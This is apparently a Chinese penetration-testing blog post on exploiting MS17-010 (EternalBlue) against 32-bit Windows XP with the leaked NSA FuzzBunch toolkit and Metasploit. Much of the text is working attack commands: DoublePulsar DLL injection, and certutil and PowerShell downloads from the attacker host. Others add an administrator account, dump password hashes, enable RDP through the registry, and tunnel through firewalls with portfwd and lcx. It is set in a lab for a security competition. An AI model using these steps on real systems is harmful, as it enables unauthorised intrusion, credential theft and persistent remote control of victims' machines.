近期因爲工控安全大賽的原因,遇到了32系統存在17-010用matesploit無法利用的緣故。目前鬥哥的metasploit v4.17.2-dev只支持win7x64、win2008x64、win8x64這幾種系統的Getshell方式。本文記錄鬥哥在實際場景中遇到的問題,以及學到的一些關於後滲透的小技巧。
0x00 Download NSA工具包
由於攻擊腳本需要32的Python2.6環境支持,因此攻擊者電腦還需如下兩個環境:
python-2.6.6.msi
pywin32-221.win32-py2.6.exe
0x01修改NSA工具配置文件
鬥哥的工具包路徑是D:\shadowbroker-master\windows
i.修改D:\shadowbroker-master\windows\fb.py文件
註釋掉第72行代碼#addplugins(fb, "ListeningPost", LP_DIR, EDFPlugin)
def load_plugins(fb): fb.io.pre_input(None) fb.io.print_msg("Loading Plugins") fb.io.post_input() addplugins(fb, "Exploit", EXPLOIT_DIR, EDFPlugin) addplugins(fb, "Payload", PAYLOAD_DIR, EDFPlugin) addplugins(fb, "Touch", TOUCH_DIR, EDFPlugin) addplugins(fb, "ImplantConfig", IMPLANT_DIR, EDFPlugin) #addplugins(fb, "ListeningPost", LP_DIR, EDFPlugin) addplugins(fb, "Special", SPECIAL_DIR, DAVEPlugin, DeployableManager)
ii.修改D:\shadowbroker-master\windows\Fuzzbunch.xml文件
修改第19行代碼的Resources路徑和第24行代碼的logs路徑,改成目前工具包存放的路徑。
<t:parameter name="ResourcesDir" description="Absolute path of the Resources Directory" type="String" default="D:\shadowbroker-master\windows\Resources"/> <t:parameter name="LogDir" description="Absolute path of an Initial Log Directory" type="String" default="D:\shadowbroker-master\windows\logs"/>
0x02運行fb.py腳本實施ETERNALBLUE攻擊
1.這裏攻擊的環境及IP地址如下:
攻擊者IP 10.10.10.1
Windows 10,安裝了kali子系統,並且在子系統上安裝了metasploit v4.17。
靶機IP 10.10.10.130
32位 Windows XP
2.運行fb.py文件實施Eternalblue攻擊
運行D:\shadowbroker-master\windows\fb.py文件
# python26 fb.py --[ Version 3.5.1 [*] Loading Plugins [*] Initializing Fuzzbunch v3.5.1 [*] Adding Global Variables [+] Set ResourcesDir => D:\shadowbroker-master\windows\Resources [+] Set Color => True [+] Set ShowHiddenParameters => False [+] Set NetworkTimeout => 60 [+] Set LogDir => D:\shadowbroker-master\windows\logs [*] Autorun ON ... [?] Default Target IP Address [] : 10.10.10.130 [?] Default Callback IP Address [] : 10.10.10.1 [?] Use Redirection [yes] : no
中間一些配置項,選擇默認,這個過程確認下配置無誤即可。
中間一些配置項,選擇默認,這個過程確認下配置無誤即可。
3. msf監聽後門dll文件
用kali生成一個用於回連的dll文件,由於鬥哥攻擊者PC是win10帶有kali子系統,所以lhost仍然是10.10.10.1,生成x86bind.dll文件後,將其複製到D盤根路徑下。
msfvenom -p windows/meterpreter/bind_tcp lhost=10.10.10.1 lport=4444 -f dll -o x86bind.dll
進入msfconsole設置監聽
use exploit/multi/handler set payload windows/meterpreter_reverse_tcp set lhost 10.10.10.1 exploit
4. doublepulsar傳入dll木馬,獲得shell
中間一些配置項,選擇默認,這個過程確認下配置無誤即可。
中間一些配置項,選擇默認,這個過程確認下配置無誤即可。
0x03後滲透的一些利用
shell界面已經能做很多事情了,但很多時候需要獲得更多權限,如得到服務器的遠程桌面。
1.上傳上興遠控後門
最直接想傳一個後門文件上去,方便自己管理。
meterpreter的upload功能
meterpreter > upload -h Usage: upload [options] src1 src2 src3 ... destination Uploads local files and directories to the remote machine. OPTIONS: -h Help banner -r Upload recursively meterpreter > upload /mnt/d/Sx_server.exe C:\ > [*] uploading : /mnt/d/Sx_server.exe -> C: [*] uploaded : /mnt/d/Sx_server.exe -> C:\Sx_server.exe
certutil.exe文件下載功能certutil本來是用來證書管理的,但是我們可以用它來下載文件。支持xp-win10, 更多操作說明見https://technet.microsoft.com/zh-cn/library/cc755341(v=ws.10).aspx
下載語法:
certutil.exe -urlcache -split -f [URL] output.file
實際測試過:
win2K3,比如下載一個3389.bat,先成一個緩存文件Blob0_0.bin,在把這個文件重命名爲3389.bat。
certutil.exe -urlcache -split -f http://10.10.10.1/3389.bat rename Blob0_0.bin 3389.bat
win7及以上系統:
certutil.exe -urlcache -split -f http://10.10.10.1/3389.bat 3389.bat
另外如果是win7以上系統,就不得不提到powershell了。
powershell (New-Object net.webclient).DownloadFile('http://10.10.10.1/3389.bat','c:\\3388.bat')"
2.傳3389.bat開3389,建賬號。
得到賬號可以創建一個賬號然後將其加入管理員組:
net user reborn 123456 /add && net localgroup administrators reborn /add
或者hashdump,然後破解密碼。
meterpreter > hashdump Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: HelpAssistant:1000:20ac9ba0dd7f155c324c6ed1e021205b:38316494a911622d58a3e45b33bea9ce:::
開3389端口
3389.bat
echo Windows Registry Editor Version 5.00>>3389.reg echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server]>>3389.reg echo "fDenyTSConnections"=dword:00000000>>3389.reg echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp]>>3389.reg echo "PortNumber"=dword:00000d3d>>3389.reg echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp]>>3389.reg echo "PortNumber"=dword:00000d3d>>3389.reg regedit /s 3389.reg del 3389.reg
或者一條命令
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
3.端口轉發
meterpreter自帶一個神器portfwd。
Stdapi: Networking Commands =========================== Command Description ------- ----------- portfwd Forward a local port to a remote service
端口轉發 靶機3389端口轉發送本地的5555端口
portfwd add -l 5555 -p 3389 -r 127.0.0.1
攻擊者連接本地127.0.0.1的5555端口,kali的rdesktop遠程連接
攻擊者連接本地127.0.0.1的5555端口,kali的rdesktop遠程連接 rdesktop -u root -p toor 127.0.0.1:5555
LCX端口轉發繞過防火牆入站規則:
受害者執行如下命令:
lcx.exe -slave 10.10.10.1 <攻擊者端口,如5115> 10.10.10.254 <受害者端口,如3389>
攻擊者執行如下命令:監聽5115端口並轉發到33891上。
lcx.exe -listen 5115 33891
攻擊者遠程連接:127.0.0.1:33891
LCX端口實現內網連接:
配置方式:
內網服務器當成上述場景受害者ip 公網服務器當成上述場景攻擊者ip
0x04小結
實戰的情況往往要比自己在虛擬機做實驗複雜得多,有時一個網絡問題就會困惱自己很久,要考慮到轉發和代理之類的,還是需要多動手實踐才行。如果看了鬥哥文章有任何疑惑和不同的見解,歡迎留言。郵箱:[email protected]。